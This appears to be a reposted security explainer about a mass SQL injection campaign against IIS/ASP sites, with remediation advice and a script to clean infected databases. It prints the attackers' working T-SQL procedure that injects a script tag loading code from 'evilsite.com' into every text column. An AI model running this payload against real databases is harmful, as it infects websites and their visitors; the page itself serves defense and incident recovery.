外国的注入技巧收集

所属分类: 网络安全 / 黑客教程 阅读数: 2292
收藏 0 赞 0 分享
The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
That said, the attackers are targeting IIS web servers which run ASP for a reason.
Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
So, to recap:
There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.
In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications.
What should I do if I’m the administrator of an infected site?
First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] = left(
convert(varchar(8000), [' @C ']),
len(convert(varchar(8000), [' @C '])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), [' @C '])))
)
where [' @C '] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with

EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
''<script src=http://evilsite.com/1.js></script>'''
);

it locates and removes it with

EXEC(
'update [' @T '] set [' @C '] = left(
convert(varchar(8000), [' @C ']),
len(convert(varchar(8000), [' @C '])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), [' @C '])))
)
where [' @C '] like ''%<script%</script>'''
);

Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies.




更多精彩内容其他人还在看

病毒、木马ARP攻击行为的原理分析及解决思路

带有ARP攻击行为的病毒,木马很是常见,主要有两种表现形式:频繁的出现地址冲突的现象以及 上网速度很慢甚至上不了网,这类问题如何解决呐?
收藏 0 赞 0 分享

ARP欺骗攻击原理另一种理解方法

本文子明特别用通俗的例子,说明ARP欺骗攻击的原理,使ARP欺骗攻击原理更加清楚的展现在你的面前。
收藏 0 赞 0 分享

七招教你抵御ARP欺骗攻击

本文介绍了七种简易方法助你抵御ARP欺骗攻击,感兴趣的小伙伴们可以参考一下
收藏 0 赞 0 分享

全面剖析DDoS攻击 黑客常用攻击方式

纵观网络安全攻击的各种方式方法,其中DDoS类的攻击会给你的网络系统造成更大的危害。因此,了解DDoS,了解它的工作原理及防范措施,是一个计算机网络安全技术人员应必修的内容之一。
收藏 0 赞 0 分享

最简单的防止ARP欺骗的方法

局域网中的计算机容易遭受攻击的原因是使用动态的arp获取协议所以很不安全,当把arp协议设为静态的可以杜绝arp攻击的发生,需要了解的朋友可以参考一下
收藏 0 赞 0 分享

路由器防止ARP欺骗的设置步骤

ARP欺骗是一个比较常见的网络问题,它会盗取用户账号,还会导致网络的瘫痪。为此,很多路由器开发商都设置了路由器防止ARP欺骗的功能。下面小编说说路由器防止ARP欺骗的设置方法。
收藏 0 赞 0 分享

怎样隔离ARP攻击源 电脑受到ARP断网攻击应对策略

局域网如何隔离感染ARP病毒的电脑呢?当局域网电脑存在ARP病毒时,会导致其它电脑出现断网现象。对此比较好的解决方法就是将ARP攻击源给隔离掉。以下就是具体的实现方法。
收藏 0 赞 0 分享

如何从运营角度保障DNS安全

如何从不同层面综合运营,保证DNS服务安全高效的运行?DNSPod工程师认为,主要应该从状态监控、信息告警、事件处理、数据记录、综合运营数据分析这五个方面入手。
收藏 0 赞 0 分享

DNS欺骗的原理 DNS防御实战演练

DNS即Domain Name System的缩写,域名系统以分布式数据库的形式将域名和IP地址相互映射。DNS协议即域名解析协议,简单的说:DNS是用来解析域名的。
收藏 0 赞 0 分享

对付DDoS攻击的三大绝招

不知道身为网络管理员的你是否遇到过服务器因为拒绝服务攻击都瘫痪的情况呢?就网络安全而言目前最让人担心和害怕的入侵攻击就要算是拒绝服务攻击了。和传统的攻击不同,采取的是仿真多个客户端来连接服务器,造成服务器无法完成如此多的客户端连接,从而无法提供服务。
收藏 0 赞 0 分享
查看更多